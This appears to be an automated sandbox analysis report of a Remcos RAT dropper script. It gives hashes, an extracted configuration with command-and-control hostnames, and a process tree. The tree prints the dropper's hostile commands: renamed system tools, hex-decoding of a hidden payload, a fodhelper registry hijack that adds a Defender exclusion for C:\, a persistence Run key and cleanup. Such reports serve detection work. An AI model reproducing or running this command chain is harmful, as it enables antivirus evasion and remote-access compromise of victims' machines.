Analysis
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max time kernel
148s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
17-05-2024 20:47
Static task
static1
Behavioral task
behavioral1
Sample
yak.cmd
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
yak.cmd
Resource
win10v2004-20240508-en
General
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Target
yak.cmd
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Size
2.8MB
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MD5
0686c44528057a8ca6a5559a7e333917
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SHA1
dc8566bf211b2c42d8f3b2187e39a33f5a007673
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SHA256
a3e3461ddb704fa103ebe9a2c05e3cfd8389f118d1e5b20f2039337ce7306767
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SHA512
02abc13471641c84d0abd35a0ea2a5645dc4dd4a3649c1654cb7b03903a5738ea7d7418a0cb1a80306a79962d5cb111bbb9121d3b551368495f0ad63f86538b2
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SSDEEP
24576:WsYQ30r2rIZonlOnDs1xs2BI3wh9nyd83WpMTpcmBiKnvGGnxPfxBJGhRCyQ6:WFQ30LZDnQW2BI3whly8WxkzR0Q6
Malware Config
Extracted
remcos
RemoteHost
myumysmeetr.ddns.net:2404
mysweeterbk.ddns.net:2404
meetre1ms.freeddns.org:2404
bbhmeetre1ms.freeddns.org:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-TPT9X3
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
per.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation per.exe -
Executes dropped EXE 25 IoCs
Processes:
alpha.exealpha.exealpha.exealpha.exekn.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exeger.exealpha.exekn.exeper.exealpha.exePing_c.pifalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 4884 alpha.exe 1440 alpha.exe 2572 alpha.exe 876 alpha.exe 3500 kn.exe 4068 alpha.exe 840 alpha.exe 4388 alpha.exe 1632 alpha.exe 2004 xkn.exe 4372 alpha.exe 2308 ger.exe 764 alpha.exe 3088 kn.exe 4620 per.exe 4936 alpha.exe 5036 Ping_c.pif 4684 alpha.exe 4380 alpha.exe 3100 alpha.exe 1508 alpha.exe 628 alpha.exe 4080 alpha.exe 216 alpha.exe 1196 alpha.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Ping_c.pifdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Duchpovs = "C:\\Users\\Public\\Duchpovs.url" Ping_c.pif -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4128 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
ger.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\ms-settings\shell ger.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\ms-settings\shell\open ger.exe Set value (str) \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" ger.exe Key created \REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\ms-settings\shell\open\command ger.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 34 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 36 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
xkn.exePing_c.pifpid process 2004 xkn.exe 2004 xkn.exe 5036 Ping_c.pif 5036 Ping_c.pif -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
xkn.exetaskkill.exedescription pid process Token: SeDebugPrivilege 2004 xkn.exe Token: SeDebugPrivilege 4128 taskkill.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
SndVol.exepid process 2432 SndVol.exe -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
SndVol.exepid process 2432 SndVol.exe 2432 SndVol.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exePing_c.pifdescription pid process target process PID 3444 wrote to memory of 3012 3444 cmd.exe extrac32.exe PID 3444 wrote to memory of 3012 3444 cmd.exe extrac32.exe PID 3444 wrote to memory of 4884 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4884 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 1440 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 1440 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 2572 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 2572 3444 cmd.exe alpha.exe PID 2572 wrote to memory of 1780 2572 alpha.exe extrac32.exe PID 2572 wrote to memory of 1780 2572 alpha.exe extrac32.exe PID 3444 wrote to memory of 876 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 876 3444 cmd.exe alpha.exe PID 876 wrote to memory of 3500 876 alpha.exe kn.exe PID 876 wrote to memory of 3500 876 alpha.exe kn.exe PID 3444 wrote to memory of 4068 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4068 3444 cmd.exe alpha.exe PID 4068 wrote to memory of 2404 4068 alpha.exe extrac32.exe PID 4068 wrote to memory of 2404 4068 alpha.exe extrac32.exe PID 3444 wrote to memory of 840 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 840 3444 cmd.exe alpha.exe PID 840 wrote to memory of 4296 840 alpha.exe extrac32.exe PID 840 wrote to memory of 4296 840 alpha.exe extrac32.exe PID 3444 wrote to memory of 4388 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4388 3444 cmd.exe alpha.exe PID 4388 wrote to memory of 4864 4388 alpha.exe extrac32.exe PID 4388 wrote to memory of 4864 4388 alpha.exe extrac32.exe PID 3444 wrote to memory of 1632 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 1632 3444 cmd.exe alpha.exe PID 1632 wrote to memory of 2004 1632 alpha.exe xkn.exe PID 1632 wrote to memory of 2004 1632 alpha.exe xkn.exe PID 2004 wrote to memory of 4372 2004 xkn.exe alpha.exe PID 2004 wrote to memory of 4372 2004 xkn.exe alpha.exe PID 4372 wrote to memory of 2308 4372 alpha.exe ger.exe PID 4372 wrote to memory of 2308 4372 alpha.exe ger.exe PID 3444 wrote to memory of 764 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 764 3444 cmd.exe alpha.exe PID 764 wrote to memory of 3088 764 alpha.exe kn.exe PID 764 wrote to memory of 3088 764 alpha.exe kn.exe PID 3444 wrote to memory of 4620 3444 cmd.exe per.exe PID 3444 wrote to memory of 4620 3444 cmd.exe per.exe PID 3444 wrote to memory of 4936 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4936 3444 cmd.exe alpha.exe PID 4936 wrote to memory of 4128 4936 alpha.exe taskkill.exe PID 4936 wrote to memory of 4128 4936 alpha.exe taskkill.exe PID 3444 wrote to memory of 5036 3444 cmd.exe Ping_c.pif PID 3444 wrote to memory of 5036 3444 cmd.exe Ping_c.pif PID 3444 wrote to memory of 5036 3444 cmd.exe Ping_c.pif PID 3444 wrote to memory of 4684 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4684 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4380 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4380 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 3100 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 3100 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 1508 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 1508 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 628 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 628 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4080 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 4080 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 216 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 216 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 1196 3444 cmd.exe alpha.exe PID 3444 wrote to memory of 1196 3444 cmd.exe alpha.exe PID 5036 wrote to memory of 4704 5036 Ping_c.pif extrac32.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\yak.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:3444 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"2⤵PID:3012
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "2⤵
- Executes dropped EXE
PID:4884
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"2⤵
- Executes dropped EXE
PID:1440
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe3⤵PID:1780
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\yak.cmd" "C:\\Users\\Public\\Ping_c.mp4" 92⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:876 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\yak.cmd" "C:\\Users\\Public\\Ping_c.mp4" 93⤵
- Executes dropped EXE
PID:3500
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"3⤵PID:2404
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:840 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"3⤵PID:4296
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4388 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"3⤵PID:4864
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1632 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4372 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""5⤵
- Executes dropped EXE
- Modifies registry class
PID:2308
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 122⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Users\Public\kn.exeC:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 123⤵
- Executes dropped EXE
PID:3088
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C:\Windows \System32\per.exe"C:\\Windows \\System32\\per.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
PID:4620
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4936 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4128
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C:\Users\Public\Libraries\Ping_c.pifC:\Users\Public\Libraries\Ping_c.pif2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Duchpovs.PIF3⤵PID:4704
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C:\Windows\SysWOW64\SndVol.exeC:\Windows\System32\SndVol.exe3⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2432
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"2⤵
- Executes dropped EXE
PID:4684
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"2⤵
- Executes dropped EXE
PID:4380
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \"2⤵
- Executes dropped EXE
PID:3100
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:1508
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:628
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:4080
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S2⤵
- Executes dropped EXE
PID:216
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S2⤵
- Executes dropped EXE
PID:1196
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C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:408
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
144B
MD5d2a870b9392cc6fc937a01e485f60b1b
SHA13498a003e1192b707a613ad099fd9091ab75d718
SHA256ca0679ebb29a5dbffd11e94de67e8233c0762499faec860efdfe1dba6a9c46a9
SHA512ca868f75ae750564e56c2f2973aa9964c69282368aac504eab14cec7fb60eb5f6ac0e6d7421c6f571aae112e54fe7336619ee82baab9a21ed8a938f81e6cbcb9
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
947KB
MD5644e25ea5330d2eb902c8f658c60891f
SHA1a5a3272a74576702aef0d0b34ffdfb6193562b10
SHA25682a725856f92cb4cef9df55db15792b22b9d887082264bf39456ad08bf98a77c
SHA5128ee9e3d400a674bc5b0d66123ec43b1ff6eb8914be89c4c498c2cb5a33a3611c0f507ebb66d859e2f0f2c11120d276d4a0c3145050101157f99bb031cdf2bcf9
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Filesize
1.9MB
MD572f92e47f66de5e830405b6d5953f217
SHA146ad681c7eaf8b176c3caff6e3c09840a5c65bdf
SHA256458817af56aba58f4becaa2ec1c18d19c0874ae7d151fe80edd8d04b06250c41
SHA512545cf43aa52a8e64109183571ff937f2da48b9d9d3da9427a7551d8c4b640ffdb49d5d28bed1a081e35da71464a6c8f5da15af29a82be069f7e7e2de6304e68f
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
75KB
MD5227f63e1d9008b36bdbcc4b397780be4
SHA1c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
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Filesize
1.6MB
MD5bd8d9943a9b1def98eb83e0fa48796c2
SHA170e89852f023ab7cde0173eda1208dbb580f1e4f
SHA2568de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA51295630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
48KB
MD585018be1fd913656bc9ff541f017eacd
SHA126d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA5123e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459